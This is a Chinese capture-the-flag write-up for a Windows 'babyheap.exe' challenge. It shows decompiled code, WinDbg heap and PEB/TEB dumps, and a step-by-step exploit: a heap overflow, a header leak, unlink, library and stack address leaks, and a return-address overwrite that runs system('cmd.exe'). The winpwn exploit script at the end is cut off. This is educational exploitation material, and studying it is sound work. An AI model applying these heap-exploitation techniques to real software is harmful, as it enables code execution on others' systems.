保护检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Results for: .\babyheap.exe
Dynamic Base : "Present"
ASLR : "Present"
High Entropy VA : "NotPresent"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "Present"
SEH : "Present"
CFG : "NotPresent"
RFG : "NotPresent"
SafeSEH : "NotPresent"
GS : "Present"
Authenticode : "NotPresent"
.NET : "NotPresent"

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stdout; // eax
SIZE_T size; // eax
void *malloc_chunk_ptr; // eax
int count; // esi
LPVOID v7; // eax
int name; // esi
char v9; // al
int v10; // esi
char v11; // al
int v13; // [esp+Ch] [ebp-1Ch]
SIZE_T v14; // [esp+10h] [ebp-18h]
_BYTE *v15; // [esp+10h] [ebp-18h]
char hidden_flag; // [esp+17h] [ebp-11h]
char target[4]; // [esp+18h] [ebp-10h] BYREF
char len[4]; // [esp+1Ch] [ebp-Ch] BYREF
char choice[4]; // [esp+20h] [ebp-8h] BYREF

stdout = _acrt_iob_func(1u);
setvbuf(stdout, 0, 4, 0);
hHeap = HeapCreate(1u, 0x2000u, 0x2000u);
puts("Welcome to my old-school menu-style babyheap.exe v1.0!");
Sleep(0x3E8u);
puts("I call it the Novice Village.");
Sleep(0x3E8u);
puts("Hope you learn some windows exploitation skills through this challenge :)");
Sleep(0x3E8u);
printf("And here is your Novice village gift : 0x%p\n", (char)func);
hidden_flag = 1;
*(_DWORD *)choice = -1;
puts("\nSo what do you want?");
puts("1. Make a sword");
puts("2. Destroy a sword");
puts("3. Polish a sword");
puts("4. Check a sword");
puts("5. Weapon is equipped. I'm ready for new challenge!");
puts("What's your choice?");
if ( scanf("%d", (char)choice) != 1 )
LABEL_49:
err_exit();
while ( 1 )
{
getchar();
if ( *(_DWORD *)choice == 5 )
return 0;
if ( *(int *)choice > 1337 )
{
LABEL_45:
puts("invalid!");
}
else if ( *(_DWORD *)choice == 1337 )
{
puts("You find the hidden level!");
if ( hidden_flag )
{
puts("Qualified!");
puts("Forget awkward SWORDs, you will experience the power of GUNs!");
puts("But only once in Novice Village.");
puts("So what's your target?");
*(_DWORD *)target = 0;
if ( scanf("%d", (char)target) != 1 )
goto LABEL_49;
getchar();
**(_BYTE **)target = hidden_flag;
puts("Hit the target, awesome shoot!");
hidden_flag = 0;
}
else
{
puts("But you are not qualified this time...");
}
}
else
{
switch ( *(_DWORD *)choice )
{
case 1:
*(_DWORD *)choice = -1;
puts("\nNew weapon brings new power.");
puts("Answer my questions so I can make a sword for you.\n");
puts("How long is your sword?");
if ( scanf("%d", (char)choice) != 1 )
goto LABEL_49;
getchar();
size = *(_DWORD *)choice;
if ( *(int *)choice <= 0 || *(int *)choice > 0x100 )
{
puts("Oh no, be realistic!");
size = *(_DWORD *)choice;
}
malloc_chunk_ptr = HeapAlloc(hHeap, 1u, size);
if ( !malloc_chunk_ptr )
goto LABEL_49;
count = 0;
while ( swords_used[count] )
{
if ( ++count >= 18 )
{
puts("You have carried so many swords, take easy!");
goto LABEL_46;
}
}
swords[count] = malloc_chunk_ptr;
swords_used[count] = 1;
puts("Well done! Name it!");
v14 = *(_DWORD *)choice;
v7 = swords[count];
name = 0;
*(_DWORD *)len = v7;
v9 = getchar();
do
{
if ( v9 == 10 )
break;
*(_BYTE *)(name + *(_DWORD *)len) = v9;
++name;
v9 = getchar();
}
while ( name != v14 );
break;
case 2:
*(_DWORD *)choice = -1;
puts("\nLet the past be the past.\n");
puts("Which sword do you want to destroy?");
if ( scanf("%d", (char)choice) != 1 )
goto LABEL_49;
getchar();
if ( *(_DWORD *)choice > 0x11u )
{
puts("no no no, be kind!");
}
else
{
if ( !swords_used[*(_DWORD *)choice] )
goto LABEL_25;
if ( !HeapFree(hHeap, 1u, swords[*(_DWORD *)choice]) )
goto LABEL_49;
if ( *(_DWORD *)choice >= 0x12u )
{
__report_rangecheckfailure();
JUMPOUT(0x401560);
}
swords_used[*(_DWORD *)choice] = 0;
puts("Succeed!");
}
break;
case 3:
*(_DWORD *)choice = -1;
puts("\nA little change will make a difference.\n");
puts("Which one will you polish?");
if ( scanf("%d", (char)choice) != 1 )
goto LABEL_49;
getchar();
if ( *(_DWORD *)choice > 0x11u )
{
puts("error");
}
else if ( swords_used[*(_DWORD *)choice] )
{
*(_DWORD *)len = 0;
puts("And what's the length this time?");
if ( scanf("%d", (char)len) != 1 )
goto LABEL_49;
getchar();
puts("Then name it again : ");
v13 = *(_DWORD *)len;
v10 = 0;
v15 = swords[*(_DWORD *)choice];
v11 = getchar();
do
{
if ( v11 == 10 )
break;
v15[v10++] = v11;
v11 = getchar();
}
while ( v10 != v13 );
}
else
{
LABEL_25:
puts("It seems that you don't own this sword.");
}
break;
case 4:
*(_DWORD *)len = -1;
puts("\nCherish what you've own.\n");
puts("Which one will you check?");
if ( scanf("%d", (char)len) != 1 )
goto LABEL_49;
getchar();
if ( *(_DWORD *)len > 0x11u )
{
puts("no");
}
else
{
if ( !swords_used[*(_DWORD *)len] )
goto LABEL_25;
printf("Show : %s\n", (char)swords[*(_DWORD *)len]);
}
break;
default:
goto LABEL_45;
}
}
LABEL_46:
*(_DWORD *)choice = -1;
puts("\nSo what do you want?");
puts("1. Make a sword");
puts("2. Destroy a sword");
puts("3. Polish a sword");
puts("4. Check a sword");
puts("5. Weapon is equipped. I'm ready for new challenge!");
puts("What's your choice?");
if ( scanf("%d", (char)choice) != 1 )
goto LABEL_49;
}
}

传统的菜单堆,有五个选项:

  • add : 最多 18 个,size 大小在 00x100 之间
  • free : 正常
  • show : 正常
  • edit :新输入一个 size ,可以溢出
  • hidden : 任意地址写一个 1

很直接的堆溢出,由于直接给了程序的基址,所以可以使用 unlink 攻击

漏洞利用

首先使用泄露的地址算出 exe_basechunk_list 的位置,然后 add 一个 新的块:

1
2
3
4
5
6
7
8
ru("And here is your Novice village gift : 0x")
exe_base = int(ru("\r\n"),16) - 0x1090
success("exe_base",exe_base)

chunk_list = exe_base + 0x4370

add("0")
add("1")

首先使用 .process 查看进程的 PEB 地址,随后使用 td _PEB peb_addr 查看进程的 PEB 信息,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:003> .process
Implicit process is now 00a5c000

0:003> dt _PEB 00a5c000
ntdll!_PEB
[...]
+0x018 ProcessHeap : 0x00d00000 Void // 默认的线程堆空间起始地址
+0x01c FastPebLock : 0x77525b40 _RTL_CRITICAL_SECTION
[...]
+0x07c HeapSegmentCommit : 0x2000 // 默认堆地址⼤⼩
+0x080 HeapDeCommitTotalFreeThreshold : 0x10000 // 默认堆的初始提交⼤⼩
+0x084 HeapDeCommitFreeBlockThreshold : 0x1000 // 与堆释放有关的阈值
+0x088 NumberOfHeaps : 2 // 程序中堆空间的数量
+0x08c MaximumNumberOfHeaps : 0x10 // 程序中最⼤的堆的数量
+0x090 ProcessHeaps : 0x77524840 -> 0x00d00000 Void //存储所有
堆空间的数组
[...]

使用 !heap 查看创建的堆空间

1
2
3
4
5
6
7
8
9
10
11
12
0:003> !heap -h
Index Address Name Debugging options enabled
1: 00d00000
Segment at 00d00000 to 00dff000 (0000b000 bytes committed)
2: 01320000
Segment at 01320000 to 01322000 (00002000 bytes committed)

0:003> !heap
Heap Address NT/Segment Heap

d00000 NT Heap
1320000 NT Heap

直接使用 dt _HEAP heap_addr 查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
0:003> dt _HEAP 1320000
ntdll!_HEAP
+0x000 Segment : _HEAP_SEGMENT
+0x000 Entry : _HEAP_ENTRY
+0x008 SegmentSignature : 0xffeeffee
+0x00c SegmentFlags : 0
+0x010 SegmentListEntry : _LIST_ENTRY [ 0x13200a4 - 0x13200a4 ]
+0x018 Heap : 0x01320000 _HEAP
+0x01c BaseAddress : 0x01320000 Void
+0x020 NumberOfPages : 2
+0x024 FirstEntry : 0x01320490 _HEAP_ENTRY
+0x028 LastValidEntry : 0x01322000 _HEAP_ENTRY
+0x02c NumberOfUnCommittedPages : 0
+0x030 NumberOfUnCommittedRanges : 1
+0x034 SegmentAllocatorBackTraceIndex : 0
+0x036 Reserved : 0
+0x038 UCRSegmentList : _LIST_ENTRY [ 0x1321ff0 - 0x1321ff0 ]
+0x040 Flags : 0x1001
+0x044 ForceFlags : 1
+0x048 CompatibilityFlags : 0
+0x04c EncodeFlagMask : 0x100000 // 初始化为0x100000,⽤于判断是否要加密chunk_header
+0x050 Encoding : _HEAP_ENTRY // ⽤于异或chunk_header的值
+0x058 Interceptor : 0
+0x05c VirtualMemoryThreshold : 0xfe00
+0x060 Signature : 0xeeffeeff
+0x064 SegmentReserve : 0x100000
+0x068 SegmentCommit : 0x2000
+0x06c DeCommitFreeBlockThreshold : 0x200
+0x070 DeCommitTotalFreeThreshold : 0x2000
+0x074 TotalFreeSize : 0x366
+0x078 MaximumAllocationSize : 0x7ffdefff
+0x07c ProcessHeapsListIndex : 2
+0x07e HeaderValidateLength : 0x258
+0x080 HeaderValidateCopy : (null)
+0x084 NextAvailableTagIndex : 0
+0x086 MaximumTagIndex : 0
+0x088 TagEntries : (null)
+0x08c UCRList : _LIST_ENTRY [ 0x132008c - 0x132008c ]
+0x094 AlignRound : 0xf
+0x098 AlignMask : 0xfffffff8
+0x09c VirtualAllocdBlocks : _LIST_ENTRY [ 0x132009c - 0x132009c ]
+0x0a4 SegmentList : _LIST_ENTRY [ 0x1320010 - 0x1320010 ]
+0x0ac AllocatorBackTraceIndex : 0
+0x0b0 NonDedicatedListLength : 0
+0x0b4 BlocksIndex : 0x01320258 Void // 后端堆管理器结构体
+0x0b8 UCRIndex : (null)
+0x0bc PseudoTagEntries : (null)
+0x0c0 FreeLists : _LIST_ENTRY [ 0x13204b8 - 0x13204b8 ] // 空闲的后端堆链表
+0x0c8 LockVariable : (null)
+0x0cc CommitRoutine : 0x2802ec61 long +2802ec61
+0x0d0 StackTraceInitVar : _RTL_RUN_ONCE
+0x0d4 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0x0e4 FrontEndHeap : (null) // 前端堆管理结构
+0x0e8 FrontHeapLockCount : 0
+0x0ea FrontEndHeapType : 0 ''
+0x0eb RequestedFrontEndHeapType : 0 ''
+0x0ec FrontEndHeapUsageData : (null) // 指向⼀个对应个前端堆⼤⼩的chunk阵列
+0x0f0 FrontEndHeapMaximumIndex : 0
+0x0f2 FrontEndHeapStatusBitmap : [257] ""
+0x1f4 Counters : _HEAP_COUNTERS
+0x250 TuningParameters : _HEAP_TUNING_PARAMETERS

查看 Encoding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0:003> dx -r1 (*((ntdll!_HEAP_ENTRY *)(0x1320000+0x50)))
(*((ntdll!_HEAP_ENTRY *)(0x1320000+0x50))) [Type: _HEAP_ENTRY]
[+0x000] UnpackedEntry [Type: _HEAP_UNPACKED_ENTRY]
[+0x000] Size : 0x4e6c [Type: unsigned short]
[+0x002] Flags : 0x3f [Type: unsigned char]
[+0x003] SmallTagIndex : 0x7a [Type: unsigned char]
[+0x000] SubSegmentCode : 0x7a3f4e6c [Type: unsigned long]
[+0x004] PreviousSize : 0x4b54 [Type: unsigned short]
[+0x006] SegmentOffset : 0x0 [Type: unsigned char]
[+0x006] LFHFlags : 0x0 [Type: unsigned char]
[+0x007] UnusedBytes : 0x0 [Type: unsigned char]
[+0x000] ExtendedEntry [Type: _HEAP_EXTENDED_ENTRY]
[+0x000] FunctionIndex : 0x4e6c [Type: unsigned short]
[+0x002] ContextValue : 0x7a3f [Type: unsigned short]
[+0x000] InterceptorValue : 0x7a3f4e6c [Type: unsigned long]
[+0x004] UnusedBytesLength : 0x4b54 [Type: unsigned short]
[+0x006] EntryOffset : 0x0 [Type: unsigned char]
[+0x007] ExtendedBlockSignature : 0x0 [Type: unsigned char]
[+0x000] Code1 : 0x7a3f4e6c [Type: unsigned long]
[+0x004] Code2 : 0x4b54 [Type: unsigned short]
[+0x006] Code3 : 0x0 [Type: unsigned char]
[+0x007] Code4 : 0x0 [Type: unsigned char]
[+0x004] Code234 : 0x4b54 [Type: unsigned long]
[+0x000] AgregateCode : 0x4b547a3f4e6c [Type: unsigned __int64]

0:003> dq 0x1320000+0x50
01320050 00004b54`7a3f4e6c 0000fe00`00000000
01320060 00100000`eeffeeff 00000200`00002000
01320070 00000366`00002000 02580002`7ffdefff
01320080 00000000`00000000 0132008c`00000000
01320090 0000000f`0132008c 0132009c`fffffff8
013200a0 01320010`0132009c 00000000`01320010
013200b0 01320258`00000000 00000000`00000000
013200c0 013204b8`013204b8 2802ec61`00000000

Encoding 的值为 0x00004b547a3f4e6c

找到我们所分配出来的两个堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:003> dc babyheap + 0x4370
002d4370 01320498 013204a8 00000000 00000000 ..2...2.........
002d4380 00000000 00000000 00000000 00000000 ................
002d4390 00000000 00000000 00000000 00000000 ................
002d43a0 00000000 00000000 00000000 00000000 ................
002d43b0 00000000 00000000 01320000 00000101 ..........2.....
002d43c0 00000000 00000000 00000000 00000000 ................
002d43d0 00000002 00000000 00000024 00000000 ........$.......
002d43e0 00000000 00000000 00000000 00000000 ................

0:003> dq 01320498-0x8
01320490 0f004bc6`793e4e6e 013200c0`01320030
013204a0 0f004b56`793e4e6e 013200c0`01320031
013204b0 00004b56`1f3f4d0a 013200c0`013200c0
013204c0 00000000`00000000 00000000`00000000
013204d0 00000000`00000000 00000000`00000000
013204e0 00000000`00000000 00000000`00000000
013204f0 00000000`00000000 00000000`00000000
01320500 00000000`00000000 00000000`00000000

0:003> ?0f004bc6`793e4e6e^00004b54`7a3f4e6c
Evaluate expression: 1080864537684541442 = 0f000092`03010002

从右往左的第 1-2 个字节为 0002 代表 size0x20

3 个字节 flag01 代表 inused

4 个字节 SmallTagIndex0x3 = (0x2^0x0^0x1) = 0x3

5 个字节 previous size0x92

8 个字节 Unsortedbyte0xf

我们尝试分配更多的块,然后进行 free

1
2
3
4
5
6
7
8
add("0")
add("1")
add("2")
add("3")
add("4")

free(3)
free(1)

查看堆块,发现被 free 掉的堆块的 flinkblink 会更改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:004> dc babyheap + 0x4370
002d4370 00b90498 00b904a8 00b904b8 00b904c8 ................
002d4380 00b904d8 00000000 00000000 00000000 ................
002d4390 00000000 00000000 00000000 00000000 ................
002d43a0 00000000 00000000 00000000 00000000 ................
002d43b0 00000000 00000000 00b90000 00010001 ................
002d43c0 00000001 00000000 00000000 00000000 ................
002d43d0 00000002 00000000 00000024 00000000 ........$.......
002d43e0 00000000 00000000 00000000 00000000 ................

0:004> dc 00b90498-8
00b90490 9cf39174 0f004894 00b90030 00b900c0 t....H..0.......
00b904a0 9df29174 00004804 00b904c8 00b900c0 t....H..........
00b904b0 9cf39174 0f004804 00b90032 00b900c0 t....H..2.......
00b904c0 9df29174 00004804 00b904e8 00b904a8 t....H..........
00b904d0 9cf39174 0f004804 00b90034 00b900c0 t....H..4.......
00b904e0 fcf29216 00004804 00b900c0 00b904c8 .....H..........
00b904f0 00000000 00000000 00000000 00000000 ................
00b90500 00000000 00000000 00000000 00000000 ................

之后尝试构造

1
2
3
4
5
6
add("0")
add("1")
add("2")

edit(1,"a" * 8)
show(1)

发现 show 的时候可以把后面 chunkheader 给打印出来一点点

Untitled.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:004> dc babyheap + 0x4370
002d4370 01310498 013104a8 013104b8 00000000 ..1...1...1.....
002d4380 00000000 00000000 00000000 00000000 ................
002d4390 00000000 00000000 00000000 00000000 ................
002d43a0 00000000 00000000 00000000 00000000 ................
002d43b0 00000000 00000000 01310000 00010101 ..........1.....
002d43c0 00000000 00000000 00000000 00000000 ................
002d43d0 00000002 00000000 00000024 00000000 ........$.......
002d43e0 00000000 00000000 00000000 00000000 ................
0:004> dc 013104a8-0x8
013104a0 009c5549 0f006f9e 61616161 61616161 IU...o..aaaaaaaa
013104b0 009c5549 0f006f9e 01310032 013100c0 IU...o..2.1...1.
013104c0 649d562f 00006f9e 013100c0 013100c0 /V.d.o....1...1.
013104d0 00000000 00000000 00000000 00000000 ................
013104e0 00000000 00000000 00000000 00000000 ................
013104f0 00000000 00000000 00000000 00000000 ................
01310500 00000000 00000000 00000000 00000000 ................
01310510 00000000 00000000 00000000 00000000 ................

由于有 00 截断,所以并不能够得到完整的 header ,不过没关系,我们可以通过一个字节一个字节的泄露来得到完整的 header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add("0")
add("1")
add("2")

payload = "a" * 8
leak = ""
for i in range(8):
edit(1,payload + i * "b")
show(1)
ru(payload)
data = ru("\r\n")
if len(data) == len(leak):
leak += "\x00"
else:
leak += data[i]
leak = u64(leak)
success("leak",leak)

调试得到 chunk 1header0x0f00baa77755b659

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:004> dc babyheap + 0x4370
002d4370 01ac0498 01ac04a8 01ac04b8 00000000 ................
002d4380 00000000 00000000 00000000 00000000 ................
002d4390 00000000 00000000 00000000 00000000 ................
002d43a0 00000000 00000000 00000000 00000000 ................
002d43b0 00000000 00000000 01ac0000 00010101 ................
002d43c0 00000000 00000000 00000000 00000000 ................
002d43d0 00000002 00000000 00000024 00000000 ........$.......
002d43e0 00000000 00000000 00000000 00000000 ................

0:004> dq 01ac04a8-0x8
01ac04a0 0f00baa7`7755b659 01ac00c0`01ac0031
01ac04b0 0f00baa7`7755b659 01ac00c0`01ac0032
01ac04c0 0000baa7`1354b53f 01ac00c0`01ac00c0
01ac04d0 00000000`00000000 00000000`00000000
01ac04e0 00000000`00000000 00000000`00000000
01ac04f0 00000000`00000000 00000000`00000000
01ac0500 00000000`00000000 00000000`00000000
01ac0510 00000000`00000000 00000000`00000000

得到的结果一致

Untitled 1.png

然后我们便可以进行 unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
add("0" * 0x70)
add("1" * 0x70)
add("2" * 0x50)
add("3" * 0x70)
add("4" * 0x70)
add("5" * 0x70)
add("6" * 0x70)
add("7" * 0x70)
add("8" * 0x70)

free(1)
free(3)

payload = "0" * 0x70
leak = ""
for i in range(8):
edit(0,payload + i * "b")
show(0)
ru(payload)
data = ru("\r\n")
if len(data) == len(leak):
leak += "\x00"
else:
leak += data[i]
leak = u64(leak)
success("leak",leak)

payload = "0" * 0x70
payload += p64(leak)
payload += p32(chunk_list)
payload += p32(chunk_list + 4)
edit(0,payload)

free(0)

Untitled 2.png

随后先泄露出 ucrtbase.dllkernel32.dll 的基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
exit_iat = exe_base + 0x30AC
IsDebuggerPresent_iat = exe_base + 0x3010

backdoor(chunk_used_list + 1)

payload = ""
payload += p32(chunk_list + 4)
payload += p32(exit_iat) # exit
payload += p32(0)
payload += p32(IsDebuggerPresent_iat) # IsDebuggerPresent

edit(1,payload)

show(2)
ru("Show : ")
ucrtbase_base = u32(rc(4)) - 0x44380
success("ucrtbase_base",ucrtbase_base)

show(4)
ru("Show : ")
kernel32_base = u32(rc(4)) - 0x220d0
success("kernel32_base",kernel32_base)

然后我们需要寻找栈地址进行利用,在 teb 中会存有栈地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:003> !teb
TEB at 00945000
ExceptionList: 010bfab4
StackBase: 010c0000
StackLimit: 010bc000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00945000
EnvironmentPointer: 00000000
ClientId: 00001eb0 . 00002728
RpcHandle: 00000000
Tls Storage: 00000000
PEB Address: 00939000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0

对于 Windows 的程序来说,每个进程都有一个 PEB,每个线程都有一个 TEB,而且他们的相对偏移一般是固定的。那么我们只要知道 PEB 的地址,就可以计算出 TEB 的地址,从而泄露StackBase

那么我们该如何泄露 ntdll.dll 的基地址呢,我们可以首先查看 ntdll!NtCreateFile 的地址

1
2
3
4
5
6
7
8
9
0:003> dc ntdll!NtCreateFile
77472f20 000055b8 8870ba00 d2ff7748 90002cc2 .U....p.Hw...,..
77472f30 000056b8 8870ba00 d2ff7748 900014c2 .V....p.Hw......
77472f40 000057b8 8870ba00 d2ff7748 900018c2 .W....p.Hw......
77472f50 000058b8 8870ba00 d2ff7748 90000cc2 .X....p.Hw......
77472f60 000059b8 8870ba00 d2ff7748 900040c2 .Y....p.Hw...@..
77472f70 18005ab8 8870ba00 d2ff7748 900004c2 .Z....p.Hw......
77472f80 1d005bb8 8870ba00 d2ff7748 900014c2 .[....p.Hw......
77472f90 00005cb8 8870ba00 d2ff7748 900010c2 .\....p.Hw......

然后在 kernel32.dll 的内存区域进行搜索

1
2
3
4
5
6
7
ModLoad: 771b0000 772a0000   C:\WINDOWS\System32\KERNEL32.DLL

0:003> s -[1]d 771b0000 L100000 77472f20
0x77231af4
0x77231fb4
0x77401804
0x77407338

最后选择一个偏移进行泄露即可

1
2
3
4
5
6
7
8
9
10
11
12
NtCreateFile_iat = kernel32_base + 0x00081fb4

payload = ""
payload += p32(chunk_list + 4)
payload += p32(NtCreateFile_iat) # NtCreateFile

edit(1,payload)

show(1)
ru("Show : ")
ntdll_base = u32(rc(4)) - 0x72f20
success("ntdll_base",ntdll_base)

之后我们泄露 PEB 的地址,我们可以从 ntdll!PebLdr 附近得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0:004> .process
Implicit process is now 004f8000

0:004> dc ntdll!PebLdr
77525d80 00000030 00000001 00000000 009c6af0 0............j..
77525d90 009c3340 009c6af8 009c3348 009c6a18 @3...j..H3...j..
77525da0 009c3350 00000000 00000000 00000000 P3..............
77525db0 00000002 00000000 00000000 00000000 ................
77525dc0 00000000 00000000 00000000 00000000 ................
77525dd0 00000000 00000000 00000000 00000000 ................
77525de0 00000000 00000000 00000000 00000000 ................
77525df0 00000000 00000000 00000000 00000000 ................

0:004> dc 77525d00
77525d00 77525d00 77525d00 00000000 002d0100 .]Rw.]Rw......-.
77525d10 00000000 00000000 00000400 004f8154 ............T.O.
77525d20 00001000 00000000 00620026 009c6998 ........&.b..i..
77525d30 00000040 004f8044 629107f4 00000000 @...D.O....b....
77525d40 00000000 0a8c87ce 00000000 00000000 ................
77525d50 00000054 0000000c 00000000 00000000 T...............
77525d60 00000000 00000000 009c6a08 77400000 .........j....@w
77525d70 00000000 009c0000 00000000 00000000 ................

0:004> dc 77525d1C
77525d1c 004f8154 00001000 00000000 00620026 T.O.........&.b.
77525d2c 009c6998 00000040 004f8044 629107f4 .i..@...D.O....b
77525d3c 00000000 00000000 0a8c87ce 00000000 ................
77525d4c 00000000 00000054 0000000c 00000000 ....T...........
77525d5c 00000000 00000000 00000000 009c6a08 .............j..
77525d6c 77400000 00000000 009c0000 00000000 ..@w............
77525d7c 00000000 00000030 00000001 00000000 ....0...........
77525d8c 009c6af0 009c3340 009c6af8 009c3348 .j..@3...j..H3..

所以泄露出 PEB 地址

1
2
3
4
5
6
7
8
9
10
ntdll_PedLdr_addr = ntdll_base + 0x125d80
payload = ""
payload += p32(chunk_list + 4)
payload += p32(ntdll_PedLdr_addr - 0x64)

edit(1,payload)
show(2)
ru("Show : ")
peb_addr = u32(ru("\r\n")) - 0x154
success("peb_addr",peb_addr)

又因为 PEBTEB 见的偏移是固定的,所以直接计算读取即可

需要注意的是要计算的是 babyheap.exe 的 teb

1
2
3
4
5
6
7
8
0:000> r $teb
$teb=004c7000

0:000> r $peb
$peb=004c4000

0:000> ?004c7000-004c4000
Evaluate expression: 12288 = 00003000
1
2
teb_addr = peb_addr + 0x3000
success("teb_addr",teb_addr)

然后读取栈地址

1
2
3
4
5
6
7
8
payload = ""
payload += p32(chunk_list + 4)
payload += p32(teb_addr)
edit(1,payload)
show(2)
ru("Show : ")
stack_addr = u32(ru("\r\n").ljust(4,"\x00")) - 0x154
success("stack_addr",stack_addr)

然后通过偏移计算 ret_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:000> k
# ChildEBP RetAddr
00 006ff6a0 774efce4 ntdll!RtlReportCriticalFailure+0x4b
01 006ff6ac 774edbd9 ntdll!RtlpReportHeapFailure+0x2f
02 006ff6dc 774f6050 ntdll!RtlpHpHeapHandleError+0x89
03 006ff6f4 77447a6a ntdll!RtlpLogHeapFailure+0x43
04 006ff8ac 77446e3c ntdll!RtlpAllocateHeap+0xa6a
05 006ff948 77445dde ntdll!RtlpAllocateHeapInternal+0x104c
06 006ff960 002d1262 ntdll!RtlAllocateHeap+0x3e
WARNING: Stack unwind information not available. Following frames may be wrong.
07 006ff99c 002d193b babyheap+0x1262
08 006ff9e4 771cfa29 babyheap+0x193b
09 006ff9f4 77467a9e KERNEL32!BaseThreadInitThunk+0x19
0a 006ffa50 77467a6e ntdll!__RtlUserThreadStart+0x2f
0b 006ffa60 00000000 ntdll!_RtlUserThreadStart+0x1b

0:000> dc 006ff99c+4
006ff9a0 002d193b 00000001 00990570 0099dbd8 ;.-.....p.......
006ff9b0 b39b99c5 002d19c3 002d19c3 00596000 ......-...-..`Y.
006ff9c0 00000000 00000000 00000000 006ff9b0 ..............o.
006ff9d0 00000000 006ffa40 002d1f9b b3d95999 ....@.o...-..Y..
006ff9e0 00000000 006ff9f4 771cfa29 00596000 ......o.)..w.`Y.
006ff9f0 771cfa10 006ffa50 77467a9e 00596000 ...wP.o..zFw.`Y.
006ffa00 4849ac19 00000000 00000000 00596000 ..IH.........`Y.
006ffa10 00000000 00000000 00000000 00000000 ................

Untitled 3.png

1
2
ret_addr = stack_addr + 0x220
success("ret_addr",ret_addr)

最后执行 system("cmd.exe") 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = ""
payload += p32(chunk_list + 4)
payload += p32(ret_addr)
edit(1,payload)

system_addr = ucrtbase_base + 0xec730
payload = ""
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(ret_addr + 0xc)
payload += "cmd.exe\x00"

edit(2,payload)

exit()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
from winpwn import *
context.log_level = "debug"

def rc(num):
return r.recv(num)

def ru(prefix,drop = True):
data = r.recvuntil(prefix)
if drop:
return data[:-len(prefix)]
else:
return data

def sd(content):
r.send(content)

def sl(content):
r.sendline(content)

def sda(prefix,content):
ru(prefix)
sd(content)

def sla(prefix,content):
ru(prefix)
sl(content)

def success(name,content):
print(f"[+] {name} : {hex(content)}")

def cmd(idx):
sla("What's your choice?\r\n",str(idx))

def add(data):
cmd(1)
sla("How long is your sword?\r\n",str(len(data)))
sla("Well done! Name it!\r\n",data)

def free(idx):
cmd(2)
sla("Which sword do you want to destroy?\r\n",str(idx))

def edit(idx,data):
cmd(3)
sla("Which one will you polish?\r\n",str(idx))
sla("And what's the length this time?\r\n",str(len(data) + 1))
sla("Then name it again : \r\n",data)

def show(idx):
cmd(4)
sla("Which one will you check?\r\n",str(idx))

def backdoor(addr):
cmd(1337)
sla("So what's your target?\r\n",str(addr))

def exit():
cmd(5)

r = process("./babyheap.exe")

ru("And here is your Novice village gift : 0x")
exe_base = int(ru("\r\n"),16) - 0x1090
success("exe_base",exe_base)

chunk_list = exe_base + 0x4370
chunk_used_list = exe_base + 0x43BC

add("0" * 0x70)
add("1" * 0x70)
add("2" * 0x50)
add("3" * 0x70)
add("4" * 0x70)
add("5" * 0x70)
add("6" * 0x70)
add("7" * 0x70)
add("8" * 0x70)

free(1)
free(3)

payload = "0" * 0x70
leak = ""
for i in range(8):
edit(0,payload + i * "b")
show(0)
ru(payload)
data = ru("\r\n")
if len(data) == len(leak):
leak += "\x00"
else:
